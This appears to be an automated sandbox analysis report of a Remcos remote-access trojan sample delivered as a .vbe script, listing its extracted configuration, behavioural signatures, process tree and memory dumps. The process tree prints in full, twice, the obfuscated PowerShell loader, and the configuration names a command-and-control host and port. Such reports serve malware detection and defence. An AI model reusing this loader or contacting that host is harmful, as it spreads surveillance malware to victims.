Analysis
- max time kernel
149s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
- submitted
24/07/2026, 12:51
General
- Target MI26 196.vbe
- Size 70KB
- Sample260724-p3wrba1akb
- SHA256 02e370f7ed3d3ba0afb1ba544a9551f1a9e400fea98c2c44521a8b2e1ec84082
Malware Config
Extracted
-
remcos
-
7.2.6 Pro
-
RemoteHost
-
172.245.95.9:2404
-
audio_folder
MicRecords
-
audio_path
ApplicationPath
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-0VW2PJ
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Badlisted process makes network request 2 IoCs
Network request originating from process or tool commonly abused by malware.
- Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs
- Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs
Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.
- Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
- Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs
- Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 2 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 1 IoCs
Adversaries may check for Internet connectivity on compromised systems.
- Runs ping.exe 1 TTPs 1 IoCs
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious behavior: MapViewOfSection 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\MI26 196.vbe"1⤵
- Executes a VBScript file via the Windows Script Host.
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\Ping.exePing Mul8668.8668.8668.babe2⤵
- System Network Configuration Discovery: Internet Connection Discovery
- Runs ping.exe
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$vattetdventitiously=-25446+25446;$existentialistically=10774-4774;function FuncA { [void](Get-Date) }function unforeboded ($vattet,$sektionsstuerne) {$passpenny=oyelet(@(113,229,207,227,225,202,230,122,209,230,222,223,141,150,192,212,217,227,214,212,224,192,226,226,228,210,215,224,178,152)) ;if($passpenny -eq 1112){[void](Get-Service | Select-Object -First 1)};Avancernes ($passpenny)}function FuncB { [void](Get-Process) }function oyelet ($luftkonditioneringerne) { do {$existentialistically=$vattetdventitiously%7;$versation = 'a'; $footpaces48 = Get-Date;$luftkonditioneringerne[$vattetdventitiously]-=$doseringsapparatet198[$existentialistically];$existentialistically=[char]$luftkonditioneringerne[$vattetdventitiously];$frangipane+=$existentialistically;$footpaces48 = Get-Date;$vattetdventitiously++} while ($luftkonditioneringerne[$vattetdventitiously])$frangipane}function FuncC { [void](Get-Service) }function Avancernes ($vaskemiddelfabrikkernes) {&($lovnss) $vaskemiddelfabrikkernes}function FuncA { [void](Get-Date) }Function Beskftigelsesvejlederes ($luftkonditioneringerne,$semijuridic=0){$nael=oyelet(@(168,178,221,221,227,202,228,193,204,168,169,179,215,225,186,177,207,226,210,155,166,160,227,224,216,219,204,154,113,219,227,213,225,208,225,187,211,215,227,214,212,224,178,225,215,221,212,202,228,187,212,151));$alienness=@(Avancernes ($nael));[void](Get-Date) ;For($taffetized=0; $alienness[$taffetized] -ne $reduplicative; $taffetized++){$alienness[$taffetized] = unforeboded $alienness[$taffetized] $doseringsapparatet198[$taffetized%7]}$sculch=oyelet(@(122,217,221,216,219,133,205,176,215,207,225,200,194,207,113,208,218,216,210,211,224,178,226,225));$unclimaxed=Avancernes ($sculch);if ($semijuridic) { Avancernes $unclimaxed;[void](Get-Service | Select-Object -First 1)}else {;$unclimaxed}}function FuncB { [void](Get-Process) }$doseringsapparatet198=@(77,111,110,111,109,101,114);$versation = 'a'; $footpaces48 = Get-Date;$lovnss=oyelet @(150,180,198);$vermutters='\Gangbros.Eur';$sektionsstuerneellwaver=Beskftigelsesvejlederes 'eEFeT0UyGyMLARgeRTwZT19fQ1VJbTgHAVtRSW0XWFtWRQA7VV9aX0tCZE8pCg4OHWJdXl5dVUN9Xk4pBBcXKwAWQFxQQGNf';[void](Get-Process | Select-Object -First 1);$skovtrs=Beskftigelsesvejlederes 'JRsaHx5fXWILHAYbAFwqAAEIAQBcLgADQBgGTSgXHgAfEU8pABkBAQoTKUkHC1BUOyIgPA4OBCo7AiQVHVwBfAMNCF0mHwAWNiwdVgIjIS8=';$sektionsstuerneeanfeaster=Beskftigelsesvejlederes 'ABwWAgFXXB4KHBkIFyoAIyY7OTVce0Fe';$parapsychological=Beskftigelsesvejlederes 'Cio6';$tolter=Beskftigelsesvejlederes 'GBwLHUAkFSgBGg==';;$faglig=Beskftigelsesvejlederes 'cw==';Beskftigelsesvejlederes 'aQgCAA8EHncaAAIMFxAhCgcVCAFPaQoAGVcEAj0LDxsMTlY7ChwCGBEGKB0d' 1;Beskftigelsesvejlederes 'aQgCAA8EHncIAgAeFhcgDhoGDhZPaRwFABsRAD5BHR8BDAZlSwgOCgkbKkY=' 1;$skovtrs=$glossematics[0];[void](Get-Service | Select-Object -First 1);Beskftigelsesvejlederes 'aQgCAA8EHncLChwGBB89Ch1SIwAFYCAMBQgGBm1CLQAARVY+CgUbBAocPhwaGggXHCgKDwELABM+Gwsd' 1;Beskftigelsesvejlederes 'aQgCAA8EHncNGwwGAAY+BwEfUE0mKBwaQj0EBiVPShoDCBM/DQIKBB8XKUY=' 1;while (!$bucketshop) {Beskftigelsesvejlederes 'aQgCAA8EHncqDR8FCgAkFQtSSREAOAo=' 1;Beskftigelsesvejlederes 'aQsKHAYEHz0KHUECFRcjR0ofDBcTPRwXDAUKHiIIBwwMCV5tSx0EAhMGPxxCT0kDEyEcC0Y=' 1;$versation = 'a'; $footpaces48 = Get-Date;Beskftigelsesvejlederes 'aQsKHAYEHz0KHUEeAAYfCh8aCBYGBQoPCwgXWmkbAQMZAABhT0ocCA4GJAAAHB4RBygdAAoICR46DhgKH0w=' 1;Beskftigelsesvejlederes 'aQsKHAYEHz0KHUEeABwpR0c=' 1;Beskftigelsesvejlederes 'aQgCAA8EHncaAAcMCQYoHQsLUEEWKRwFDgAVFz5BHRsMEQc+T0MKHEVAfV8=' 1;if ($unhaltered) {Beskftigelsesvejlederes 'Fg0XGwg+LxBLCQMCBxMhVQYOGREXPwYPHFBBFikcBQ4AFRc+QRwKHhUdIxwLLQIBCw==' 1;[void](Get-Process | Select-Object -First 1);Beskftigelsesvejlederes 'PgxOSxgLHywdDAMIDAgoC05LBQQGOQocBgwWUmAqAAwCARsjCE4tFBEX' 1} Beskftigelsesvejlederes 'HgMLCh1NRmQ=' 1;Beskftigelsesvejlederes 'aQgCAA8EHncNGwwGAAY+BwEfUE0mKBwaQj0EBiVPShoDCBM/DQIKBB8XKUY=' 1 ;Beskftigelsesvejlederes 'aQgCAA8EHncHARkIARMmGwcAAxcXPwELW1tYVioDAQ0MCUgpHQscHgAAJAEJCh8LF39fWERGQFYqAwEcHgAfLBsHDB5LESIaABs=' 1;$skovtrs=$glossematics[$hovedaktionrerne46]}$snnesnners=150758;$vattetnoegenetic=21134;Beskftigelsesvejlederes 'aQgCAA8EHncECwIEDBwqCgAGHwAAPlIJDE1BByMCDx0PCRckFQsL' 1;Beskftigelsesvejlederes 'aQgCAA8EHnc/AhoeFhc+UjUsAgsEKB0aMldfND8AAy0MFhd7Wz0bHwwcKkdKBAgIGyQBCQoDDAAoHR1G' 1;Beskftigelsesvejlederes 'aQgCAA8EHncHCx0DBBwpBg8MCAoHPlI1OwgdBmMqAAwCARsjCDNVVyQhDiYnQSoABh4bHAYDAlppPwIaHhYXPkY=' 1;Beskftigelsesvejlederes 'aQgCAA8EHncHCwIMER0hFhoGDlhWJQocAQwLFiQODQoCEAFjHBsNHhEAJAEJR0kWHCMKHQEDAAA+Q0oZDBEGKBsAAAgCFyMKGgYOTA==' 1;[void](Get-Service | Select-Object -First 1);Avancernes $hematolytic;;;;"2⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "$vattetdventitiously=-25446+25446;$existentialistically=10774-4774;function FuncA { [void](Get-Date) }function unforeboded ($vattet,$sektionsstuerne) {$passpenny=oyelet(@(113,229,207,227,225,202,230,122,209,230,222,223,141,150,192,212,217,227,214,212,224,192,226,226,228,210,215,224,178,152)) ;if($passpenny -eq 1112){[void](Get-Service | Select-Object -First 1)};Avancernes ($passpenny)}function FuncB { [void](Get-Process) }function oyelet ($luftkonditioneringerne) { do {$existentialistically=$vattetdventitiously%7;$versation = 'a'; $footpaces48 = Get-Date;$luftkonditioneringerne[$vattetdventitiously]-=$doseringsapparatet198[$existentialistically];$existentialistically=[char]$luftkonditioneringerne[$vattetdventitiously];$frangipane+=$existentialistically;$footpaces48 = Get-Date;$vattetdventitiously++} while ($luftkonditioneringerne[$vattetdventitiously])$frangipane}function FuncC { [void](Get-Service) }function Avancernes ($vaskemiddelfabrikkernes) {&($lovnss) $vaskemiddelfabrikkernes}function FuncA { [void](Get-Date) }Function Beskftigelsesvejlederes ($luftkonditioneringerne,$semijuridic=0){$nael=oyelet(@(168,178,221,221,227,202,228,193,204,168,169,179,215,225,186,177,207,226,210,155,166,160,227,224,216,219,204,154,113,219,227,213,225,208,225,187,211,215,227,214,212,224,178,225,215,221,212,202,228,187,212,151));$alienness=@(Avancernes ($nael));[void](Get-Date) ;For($taffetized=0; $alienness[$taffetized] -ne $reduplicative; $taffetized++){$alienness[$taffetized] = unforeboded $alienness[$taffetized] $doseringsapparatet198[$taffetized%7]}$sculch=oyelet(@(122,217,221,216,219,133,205,176,215,207,225,200,194,207,113,208,218,216,210,211,224,178,226,225));$unclimaxed=Avancernes ($sculch);if ($semijuridic) { Avancernes $unclimaxed;[void](Get-Service | Select-Object -First 1)}else {;$unclimaxed}}function FuncB { [void](Get-Process) }$doseringsapparatet198=@(77,111,110,111,109,101,114);$versation = 'a'; $footpaces48 = Get-Date;$lovnss=oyelet @(150,180,198);$vermutters='\Gangbros.Eur';$sektionsstuerneellwaver=Beskftigelsesvejlederes 'eEFeT0UyGyMLARgeRTwZT19fQ1VJbTgHAVtRSW0XWFtWRQA7VV9aX0tCZE8pCg4OHWJdXl5dVUN9Xk4pBBcXKwAWQFxQQGNf';[void](Get-Process | Select-Object -First 1);$skovtrs=Beskftigelsesvejlederes 'JRsaHx5fXWILHAYbAFwqAAEIAQBcLgADQBgGTSgXHgAfEU8pABkBAQoTKUkHC1BUOyIgPA4OBCo7AiQVHVwBfAMNCF0mHwAWNiwdVgIjIS8=';$sektionsstuerneeanfeaster=Beskftigelsesvejlederes 'ABwWAgFXXB4KHBkIFyoAIyY7OTVce0Fe';$parapsychological=Beskftigelsesvejlederes 'Cio6';$tolter=Beskftigelsesvejlederes 'GBwLHUAkFSgBGg==';;$faglig=Beskftigelsesvejlederes 'cw==';Beskftigelsesvejlederes 'aQgCAA8EHncaAAIMFxAhCgcVCAFPaQoAGVcEAj0LDxsMTlY7ChwCGBEGKB0d' 1;Beskftigelsesvejlederes 'aQgCAA8EHncIAgAeFhcgDhoGDhZPaRwFABsRAD5BHR8BDAZlSwgOCgkbKkY=' 1;$skovtrs=$glossematics[0];[void](Get-Service | Select-Object -First 1);Beskftigelsesvejlederes 'aQgCAA8EHncLChwGBB89Ch1SIwAFYCAMBQgGBm1CLQAARVY+CgUbBAocPhwaGggXHCgKDwELABM+Gwsd' 1;Beskftigelsesvejlederes 'aQgCAA8EHncNGwwGAAY+BwEfUE0mKBwaQj0EBiVPShoDCBM/DQIKBB8XKUY=' 1;while (!$bucketshop) {Beskftigelsesvejlederes 'aQgCAA8EHncqDR8FCgAkFQtSSREAOAo=' 1;Beskftigelsesvejlederes 'aQsKHAYEHz0KHUECFRcjR0ofDBcTPRwXDAUKHiIIBwwMCV5tSx0EAhMGPxxCT0kDEyEcC0Y=' 1;$versation = 'a'; $footpaces48 = Get-Date;Beskftigelsesvejlederes 'aQsKHAYEHz0KHUEeAAYfCh8aCBYGBQoPCwgXWmkbAQMZAABhT0ocCA4GJAAAHB4RBygdAAoICR46DhgKH0w=' 1;Beskftigelsesvejlederes 'aQsKHAYEHz0KHUEeABwpR0c=' 1;Beskftigelsesvejlederes 'aQgCAA8EHncaAAcMCQYoHQsLUEEWKRwFDgAVFz5BHRsMEQc+T0MKHEVAfV8=' 1;if ($unhaltered) {Beskftigelsesvejlederes 'Fg0XGwg+LxBLCQMCBxMhVQYOGREXPwYPHFBBFikcBQ4AFRc+QRwKHhUdIxwLLQIBCw==' 1;[void](Get-Process | Select-Object -First 1);Beskftigelsesvejlederes 'PgxOSxgLHywdDAMIDAgoC05LBQQGOQocBgwWUmAqAAwCARsjCE4tFBEX' 1} Beskftigelsesvejlederes 'HgMLCh1NRmQ=' 1;Beskftigelsesvejlederes 'aQgCAA8EHncNGwwGAAY+BwEfUE0mKBwaQj0EBiVPShoDCBM/DQIKBB8XKUY=' 1 ;Beskftigelsesvejlederes 'aQgCAA8EHncHARkIARMmGwcAAxcXPwELW1tYVioDAQ0MCUgpHQscHgAAJAEJCh8LF39fWERGQFYqAwEcHgAfLBsHDB5LESIaABs=' 1;$skovtrs=$glossematics[$hovedaktionrerne46]}$snnesnners=150758;$vattetnoegenetic=21134;Beskftigelsesvejlederes 'aQgCAA8EHncECwIEDBwqCgAGHwAAPlIJDE1BByMCDx0PCRckFQsL' 1;Beskftigelsesvejlederes 'aQgCAA8EHnc/AhoeFhc+UjUsAgsEKB0aMldfND8AAy0MFhd7Wz0bHwwcKkdKBAgIGyQBCQoDDAAoHR1G' 1;Beskftigelsesvejlederes 'aQgCAA8EHncHCx0DBBwpBg8MCAoHPlI1OwgdBmMqAAwCARsjCDNVVyQhDiYnQSoABh4bHAYDAlppPwIaHhYXPkY=' 1;Beskftigelsesvejlederes 'aQgCAA8EHncHCwIMER0hFhoGDlhWJQocAQwLFiQODQoCEAFjHBsNHhEAJAEJR0kWHCMKHQEDAAA+Q0oZDBEGKBsAAAgCFyMKGgYOTA==' 1;[void](Get-Service | Select-Object -First 1);Avancernes $hematolytic;;;;"1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
-
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of NtCreateThreadExHideFromDebugger
- Suspicious use of NtSetInformationThreadHideFromDebugger
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
- outlook_office_path
-
C:\Windows\SysWOW64\backgroundTaskHost.exe"C:\Windows\SysWOW64\backgroundTaskHost.exe"3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
ModuleAnalysisCache
StartupProfileData-NonInteractive
Gangbros.Eur
memory/3324-74-0x0000000000A90000-0x0000000001D76000-memory.dmp
memory/3324-47-0x0000000000A90000-0x0000000001D76000-memory.dmp
memory/3324-63-0x0000000000A90000-0x0000000001D76000-memory.dmp
memory/3324-68-0x000000001EAF0000-0x000000001EBE7000-memory.dmp
memory/3324-71-0x000000001EAF0000-0x000000001EBE7000-memory.dmp
memory/3324-72-0x000000001EAF0000-0x000000001EBE7000-memory.dmp
memory/3324-73-0x0000000000A90000-0x0000000001D76000-memory.dmp
memory/3380-9-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/3380-12-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/3380-15-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/3380-14-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/3380-16-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/3380-17-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/3380-18-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/3380-19-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/3380-24-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/3380-13-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/3380-0-0x00007FFCD4EDF000-0x00007FFCD4EE0000-memory.dmp
memory/3380-11-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/3380-10-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/3380-8-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/3380-7-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/3380-6-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/3380-5-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/3380-4-0x000002123E0A0000-0x000002123E0C2000-memory.dmp
memory/3380-1-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp
memory/3744-26-0x00000000052D0000-0x000000000591A000-memory.dmp
memory/3744-38-0x0000000006690000-0x00000000066AA000-memory.dmp
memory/3744-39-0x00000000073F0000-0x0000000007486000-memory.dmp
memory/3744-40-0x0000000007310000-0x0000000007332000-memory.dmp
memory/3744-41-0x00000000083A0000-0x000000000895A000-memory.dmp
memory/3744-37-0x0000000007760000-0x0000000007DDC000-memory.dmp
memory/3744-44-0x0000000008960000-0x000000000B7F7000-memory.dmp
memory/3744-35-0x0000000006150000-0x000000000619C000-memory.dmp
memory/3744-34-0x0000000006100000-0x000000000611E000-memory.dmp
memory/3744-32-0x0000000005C20000-0x0000000005F7B000-memory.dmp
memory/3744-28-0x0000000005A90000-0x0000000005AF6000-memory.dmp
memory/3744-29-0x0000000005BB0000-0x0000000005C16000-memory.dmp
memory/3744-27-0x0000000005970000-0x0000000005992000-memory.dmp
memory/3744-25-0x0000000004C40000-0x0000000004C76000-memory.dmp